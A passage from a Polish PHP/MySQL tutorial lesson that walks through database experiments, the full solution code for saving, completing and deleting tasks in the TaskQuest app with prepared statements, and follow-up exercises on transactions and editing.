<p class="wp-block-paragraph">Przewidź oba wyniki. Po świeżym <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code> Kama ma 99 XP. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(0)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(0)</code>. Zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">100</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(0)</code>. Ten sam przygotowany <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie</code> można wykonać wiele razy — tu drugi raz nic już nie zmienia. Wniosek: <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> = 0 nie znaczy „nie ma takiego wiersza”. Znaczy „nic się nie zmieniło”.</p>



<h3 class="wp-block-heading">Eksperyment 5: połowa zmiany</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code> zrób literówkę w nazwie kolumny: <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">xpp = xp + ?</code>. Zaloguj się jako Ola i kliknij „Zrobione!”.</p>



<p class="wp-block-paragraph">Oczekiwane: ramka „Nie udało się zapisać zmiany: Unknown column 'xpp&#8217; &#8230;”. Wróć na listę. <strong>Zadanie jest oznaczone jako wykonane</strong>, a XP nadal 250. Kliknąć drugi raz się nie da — przycisku nie ma, a nawet gdyby był, <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code> zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>. 30 XP przepadło na zawsze.</p>



<p class="wp-block-paragraph">Dlaczego? Pierwsze zapytanie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania</code>) się udało i jego zmiana <strong>została w bazie</strong>. Drugie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE uzytkownicy</code>) rzuciło wyjątek. Baza nie wie, że te dwie zmiany „należą do siebie”. Dane są niespójne. Tu literówka jest sztuczna, ale w prawdziwej aplikacji drugie zapytanie może przerwać zanik połączenia, restart serwera czy przekroczenie czasu. Rozwiązanie — transakcja: „wykonaj obie zmiany albo żadną” (zadanie końcowe C). <strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>.</strong></p>



<h3 class="wp-block-heading">Eksperyment 6: stary streak na stronie</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> dopisz tymczasowo w bloku wywołań (przed prezentacją):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak();</code></pre>



<p class="wp-block-paragraph">Ustaw w phpMyAdmin Kamie <code class="prettyprint lang-sql" style="font-size: 0.85em;">streak = 5</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci = CURDATE() - INTERVAL 1 DAY</code>. Odśwież stronę kilka razy.</p>



<p class="wp-block-paragraph">Oczekiwane: strona pokazuje 6, choć w bazie jest 5 i Kama nic dziś nie zrobiła. Metoda „udaje” wykonanie zadania przy każdym wyświetleniu (tak działała symulacja do Lekcji 18). Wynik nie trafia do bazy, więc każde odświeżenie znowu pokazuje 6. <strong>Usuń dopisaną linię.</strong></p>



<h1 class="wp-block-heading">9. ROZWIĄZANIE</h1>



<p class="wp-block-paragraph">Poniżej wszystkie pliki, które zmieniły się w Lekcji 19. Pliki niewymienione są <strong>identyczne jak po Lekcji 18</strong> (wersja w <code class="prettyprint lang-sql" style="font-size: 0.85em;">18_TaskQuest.md</code>, sekcja 9, a tam, gdzie L18 odsyła dalej — w <code class="prettyprint lang-sql" style="font-size: 0.85em;">15_TaskQuest.md</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">17_TaskQuest.md</code>).</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading">Usunięte</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php          (wczytajZadania(), zapiszZadania(), sprawdzWierszZadania())
data/zadania.csv i katalog data/
config/config.php: define('PLIK_ZADAN', ...);
includes/funkcje_zadan.php: function nastepneIdZadania(...)</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> (cały plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje TaskQuest korzystające z bazy danych (Lekcje 18–19).
// Wymagają wcześniejszego dołączenia config/config.php (stałe BAZA_...).
// Funkcje tworzące obiekty wymagają też classes/Zadanie.php i classes/Uzytkownik.php.

function polaczZBaza(): mysqli
{
    mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

    try {
        $polaczenie = new mysqli(BAZA_HOST, BAZA_UZYTKOWNIK, BAZA_HASLO, BAZA_NAZWA);
    } catch (Exception $wyjatek) {
        throw new Exception('Nie udało się połączyć z bazą danych.');
    }

    $polaczenie-&gt;set_charset('utf8mb4');

    return $polaczenie;
}

function wczytajZadaniaUzytkownika(mysqli $polaczenie, int $uzytkownikId): array
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE uzytkownik_id = ? ORDER BY id'
    );
    $zapytanie-&gt;bind_param('i', $uzytkownikId);
    $zapytanie-&gt;execute();
    $wynik = $zapytanie-&gt;get_result();

    $zadania = &#91;];

    while ($wiersz = $wynik-&gt;fetch_assoc()) {
        $zadania&#91;] = new Zadanie(
            id: $wiersz&#91;'id'],
            tytul: $wiersz&#91;'tytul'],
            opis: $wiersz&#91;'opis'],
            termin: $wiersz&#91;'termin'],
            wykonane: $wiersz&#91;'data_wykonania'] !== null,
            xp: $wiersz&#91;'xp'],
        );
    }

    return $zadania;
}

function wczytajUzytkownika(mysqli $polaczenie, int $uzytkownikId): ?Uzytkownik
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, login, imie, xp, streak, data_ostatniej_aktywnosci FROM uzytkownicy WHERE id = ?'
    );
    $zapytanie-&gt;bind_param('i', $uzytkownikId);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Uzytkownik(
        id: $wiersz&#91;'id'],
        login: $wiersz&#91;'login'],
        imieUzytkownika: $wiersz&#91;'imie'],
        xp: $wiersz&#91;'xp'],
        streak: $wiersz&#91;'streak'],
        dataOstatniejAktywnosci: $wiersz&#91;'data_ostatniej_aktywnosci'],
    );
}

function znajdzIdUzytkownika(mysqli $polaczenie, string $login): ?int
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT id FROM uzytkownicy WHERE login = ?');
    $zapytanie-&gt;bind_param('s', $login);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return $wiersz&#91;'id'];
}

function pobierzRanking(mysqli $polaczenie, int $limit): array
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT login, xp FROM uzytkownicy ORDER BY xp DESC, login LIMIT ?');
    $zapytanie-&gt;bind_param('i', $limit);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;get_result()-&gt;fetch_all(MYSQLI_ASSOC);
}

function dodajZadanie(
    mysqli $polaczenie,
    int $uzytkownikId,
    string $tytul,
    string $opis,
    string $termin,
    int $xp
): int {
    $zapytanie = $polaczenie-&gt;prepare(
        'INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp) VALUES (?, ?, ?, ?, ?)'
    );
    $zapytanie-&gt;bind_param('isssi', $uzytkownikId, $tytul, $opis, $termin, $xp);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;insert_id;
}

function wczytajZadanieUzytkownika(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): ?Zadanie
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE id = ? AND uzytkownik_id = ?'
    );
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Zadanie(
        id: $wiersz&#91;'id'],
        tytul: $wiersz&#91;'tytul'],
        opis: $wiersz&#91;'opis'],
        termin: $wiersz&#91;'termin'],
        wykonane: $wiersz&#91;'data_wykonania'] !== null,
        xp: $wiersz&#91;'xp'],
    );
}

function oznaczZadanieJakoWykonane(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie-&gt;prepare(
        'UPDATE zadania SET data_wykonania = CURDATE() WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL'
    );
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;affected_rows === 1;
}

function zapiszPostepUzytkownika(mysqli $polaczenie, int $uzytkownikId, int $zdobyteXp, int $streak): void
{
    $zapytanie = $polaczenie-&gt;prepare(
        'UPDATE uzytkownicy SET xp = xp + ?, streak = ?, data_ostatniej_aktywnosci = CURDATE() WHERE id = ?'
    );
    $zapytanie-&gt;bind_param('iii', $zdobyteXp, $streak, $uzytkownikId);
    $zapytanie-&gt;execute();
}

function usunZadanie(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie-&gt;prepare('DELETE FROM zadania WHERE id = ? AND uzytkownik_id = ?');
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;affected_rows === 1;
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code> — zmiana</h2>



<p class="wp-block-paragraph">Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(bool $zadanieWykonane)</code> zastąpiona wersją bez parametru (kod w kroku 5b). Reszta klasy bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>Usunięte <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>; pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code> dopisane <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/funkcje_bazy.php';</code>.</li>



<li>Zawartość warunku „walidacja bez błędów” zastąpiona blokiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code> (kod w kroku 2b).</li>



<li>Odczyt pól, walidacja i cała część HTML bez zmian.</li>
</ol>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> (nowy plik)</h2>



<p class="wp-block-paragraph">Cały plik (kroki 6a–6e razem):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

if ($_SERVER&#91;'REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}

$zadanieIdTekst = $_POST&#91;'id'] ?? '';

if (!preg_match('/^\d+$/', $zadanieIdTekst)) {
    header('Location: index.php');
    exit;
}

$zadanieId = (int) $zadanieIdTekst;
$uzytkownikId = $_SESSION&#91;'uzytkownik_id'];

try {
    $polaczenie = polaczZBaza();
    $zadanie = wczytajZadanieUzytkownika($polaczenie, $zadanieId, $uzytkownikId);

    if ($zadanie === null) {
        ustawKomunikat('Nie znaleziono takiego zadania.');
    } elseif (!oznaczZadanieJakoWykonane($polaczenie, $zadanieId, $uzytkownikId)) {
        ustawKomunikat('To zadanie jest już wykonane.');
    } else {
        $uzytkownik = wczytajUzytkownika($polaczenie, $uzytkownikId);
        $uzytkownik-&gt;aktualizujStreak();
        zapiszPostepUzytkownika($polaczenie, $uzytkownikId, $zadanie-&gt;pobierzXp(), $uzytkownik-&gt;pobierzStreak());
        ustawKomunikat('Zadanie wykonane! +' . $zadanie-&gt;pobierzXp() . ' XP');
    }
} catch (Exception $wyjatek) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo '&lt;p class="blad"&gt;Nie udało się zapisać zmiany: ' . $wyjatek-&gt;getMessage() . '&lt;/p&gt;';
    echo '&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;';
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

header('Location: index.php');
exit;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> (nowy plik)</h2>



<p class="wp-block-paragraph">Cały plik — kod w sekcji 6, ROZWIĄZANIE.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>Usunięte linie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane = $liczbaWykonanych &gt; 0;</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane);</code>.</li>



<li>Pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Twoje zadania&lt;/h2&gt;</code> przywrócone <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;</code>.</li>



<li>W pętli listy, nad ostatnią linią <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;/div&gt;";</code>, dopisane dwa formularze. Linie z terminem i komunikatem terminu bez zmian:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            if (!$zadanie-&gt;czyWykonane()) {
                echo '&lt;form class="akcja" method="post" action="oznacz-wykonane.php"&gt;';
                echo '&lt;input type="hidden" name="id" value="' . $zadanie-&gt;pobierzId() . '"&gt;';
                echo '&lt;button type="submit"&gt;Zrobione!&lt;/button&gt;';
                echo '&lt;/form&gt;';
            }

            echo '&lt;form class="akcja" method="post" action="usun-zadanie.php"&gt;';
            echo '&lt;input type="hidden" name="id" value="' . $zadanie-&gt;pobierzId() . '"&gt;';
            echo '&lt;button type="submit"&gt;Usuń&lt;/button&gt;';
            echo '&lt;/form&gt;';</code></pre>



<p class="wp-block-paragraph">Reszta pliku (blok danych z bazy, liczniki, filtr widoku, pasek XP, komunikat, ranking) bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">.zadanie.po-terminie</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">form.akcja { display: inline; }</code>.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> usunięte <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_plikow.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'data/zadania.csv'</code>, dopisane <code class="prettyprint lang-sql" style="font-size: 0.85em;">'oznacz-wykonane.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'usun-zadanie.php'</code> (razem <strong>19</strong> ścieżek). Usunięta zmienna <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plikiCsv</code> i sekcja „Pliki danych”. Reszta bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.9&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
</details>



<h1 class="wp-block-heading">10. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">klasa Zadanie (bez zmian), funkcje listy, grywalizacji, terminów (także aktualizujStreak()), tekstowe, sesji
walidujNoweZadanie(), formularz dodawania zachowujący wpisane dane, ramka $bladZapisu, komunikat jednorazowy, POST → przekierowanie → GET
logowanie jak po Lekcji 18 (login bez hasła), w sesji tylko uzytkownik_id
index.php: blok danych z bazy, obsługa awarii bazy, liczniki, filtr widoku + cookie, pasek XP, .po-terminie, ranking
baza taskquest i sql/taskquest.sql (bez zmian)
Uzytkownik::dodajXp(), Zadanie::oznaczJakoWykonane() — nadal nieużywane przez aplikację</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php:
    dodajZadanie(mysqli, int, string, string, string, int): int              — INSERT, zwraca insert_id
    wczytajZadanieUzytkownika(mysqli, int $zadanieId, int $uzytkownikId): ?Zadanie
    oznaczZadanieJakoWykonane(mysqli, int, int): bool                        — UPDATE z IS NULL
    zapiszPostepUzytkownika(mysqli, int $uzytkownikId, int $zdobyteXp, int $streak): void
    usunZadanie(mysqli, int, int): bool                                      — DELETE
oznacz-wykonane.php, usun-zadanie.php                                        — tylko POST, bez HTML
index.php: przyciski „Zrobione!” i „Usuń” (form.akcja, pole ukryte id), link „+ Dodaj zadanie”
header.php: form.akcja</code></pre>



<p class="wp-block-paragraph">Nowe narzędzia: SQL <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO ... (...) VALUES (...)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE ... SET ... WHERE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">SET kolumna = kolumna + ?</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM ... WHERE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE() - INTERVAL n DAY</code>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="hidden"&gt;</code>; warunek właściciela i warunek stanu w <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>: zapis do bazy zamiast CSV,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik::aktualizujStreak()</code>: bez parametru, wywoływana tylko po wykonaniu zadania; <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> → seria 1,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: streak pokazywany z bazy (bez przeliczania), link do formularza wraca, przyciski przy zadaniach,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: 19 plików, bez sekcji „Pliki danych”; stopka <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.9</code>.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co</th><th>Dlaczego</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> i wywołanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>była to symulacja aktywności; teraz aktywność to kliknięcie „Zrobione!”, a streak jest zapisany w bazie</td></tr><tr><td>parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool $zadanieWykonane</code> metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code></td><td>metoda jest wywoływana tylko po wykonaniu zadania — parametr zawsze byłby <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_ZADAN</code></td><td>nic nie czyta ani nie zapisuje pliku; dane są w bazie od Lekcji 17</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nadaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td>strona nie tworzy obiektu — dane idą wprost do <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code></td></tr><tr><td>sekcja „Pliki danych” w <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></td><td>nie ma katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 19 TaskQuest zapisuje zmiany w bazie. Gracz dodaje zadania przez formularz, oznacza je jako wykonane i dostaje za nie XP, a jego seria dni jest liczona w chwili wykonania zadania i zapisywana. Może też usuwać zadania. Aplikacja nie pozwala zmienić ani usunąć cudzego zadania i nie przyznaje XP dwa razy za to samo zadanie. Ranking zmienia się sam, gdy gracze zdobywają XP. Plik CSV zniknął — jedynym miejscem danych jest baza.</p>
</blockquote>



<h1 class="wp-block-heading">11. Zadania końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Nie są częścią wersji referencyjnej.</p>



<p class="wp-block-paragraph"><strong>A. Edycja zadania.</strong> Nowa strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">edytuj-zadanie.php?id=N</code>. GET: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> z adresu sprawdzone regexem, zadanie wczytane przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadanieUzytkownika()</code> (cudze albo nieistniejące → komunikat i powrót na listę), formularz jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> wypełniony danymi zadania. POST: te same pola + ukryte <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, walidacja przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>, zapis funkcją <code class="prettyprint lang-sql" style="font-size: 0.85em;">edytujZadanie(mysqli $polaczenie, int $zadanieId, int $uzytkownikId, string $tytul, string $opis, string $termin, int $xp): bool</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE ... SET tytul = ?, opis = ?, termin = ?, xp = ? WHERE id = ? AND uzytkownik_id = ?</code>). Przy zadaniu link „Edytuj” (GET — tylko otwiera formularz, niczego nie zmienia). Pytania: co zwróci funkcja, gdy użytkownik zapisze formularz bez żadnej zmiany (Eksperyment 4)? Czy wtedy pokażesz „Nie znaleziono takiego zadania.”? Czy wykonane zadanie można edytować i zmienić mu XP — co to znaczy dla XP gracza?</p>



<p class="wp-block-paragraph"><strong>B. Przerwana seria.</strong> Kama miała ostatnią aktywność tydzień temu, a strona nadal pokazuje „streak 5”. Seria jest przerwana, choć baza tego jeszcze nie wie (dowie się przy następnym „Zrobione!”). Dodaj do <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAktualnyStreak(): int</code>: gdy data ostatniej aktywności to dziś albo wczoraj — streak z bazy, w przeciwnym razie (także <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>) — 0. Użyj jej w prezentacji zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzStreak()</code>. Nie zapisuj niczego do bazy. Przetestuj daty: dziś, wczoraj, przedwczoraj, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> nie może używać tej metody?</p>



<p class="wp-block-paragraph"><strong>C. Transakcja.</strong> Napraw problem z Eksperymentu 5. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, zaraz po <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code>, wywołaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;begin_transaction();</code>. Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;commit();</code>. Do czasu <code class="prettyprint lang-sql" style="font-size: 0.85em;">commit()</code> zmiany nie są ostateczne. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>, jeśli połączenie istnieje (<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset($polaczenie)</code>), wywołaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;rollback();</code> — baza cofnie wszystko od <code class="prettyprint lang-sql" style="font-size: 0.85em;">begin_transaction()</code>. Powtórz Eksperyment 5: po błędzie zadanie ma być <strong>niewykonane</strong>, XP bez zmian. Pytania: dlaczego transakcja działa w naszych tabelach (wskazówka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE=InnoDB</code>)? Po co warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">isset($polaczenie)</code>? Czy transakcja zastępuje warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania IS NULL</code>?</p>



<p class="wp-block-paragraph"><strong>D. Potwierdzenie usuwania.</strong> Przycisk „Usuń” prowadzi (GET, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php?id=N</code>) do strony z pytaniem „Czy na pewno usunąć zadanie „&#8230;”?” i dwoma przyciskami: „Tak, usuń” (formularz POST z ukrytym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>) i „Anuluj” (link na listę). Dopiero POST usuwa. Na stronie potwierdzenia wyświetl tytuł zadania — skąd go weźmiesz i dlaczego musisz przy tym sprawdzić właściciela?</p>



<h1 class="wp-block-heading">Sprzątanie</h1>



<ol class="wp-block-list">
<li>Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>.</li>



<li>Sprawdź, że przywrócone są: <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND uzytkownik_id = ?</code> w zapytaniach (Eksperymenty 2–3), <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code> (Eksperyment 5), a w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> nie ma wywołania <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> (Eksperyment 6).</li>



<li>Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</li>



<li>Zaloguj się jako Ola, kliknij „Zrobione!” — 280 XP, streak 1. Zaloguj się jako Kama, dodaj i usuń zadanie.</li>
</ol>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię napisać INSERT z listą kolumn i wiem, które kolumny mogę pominąć.
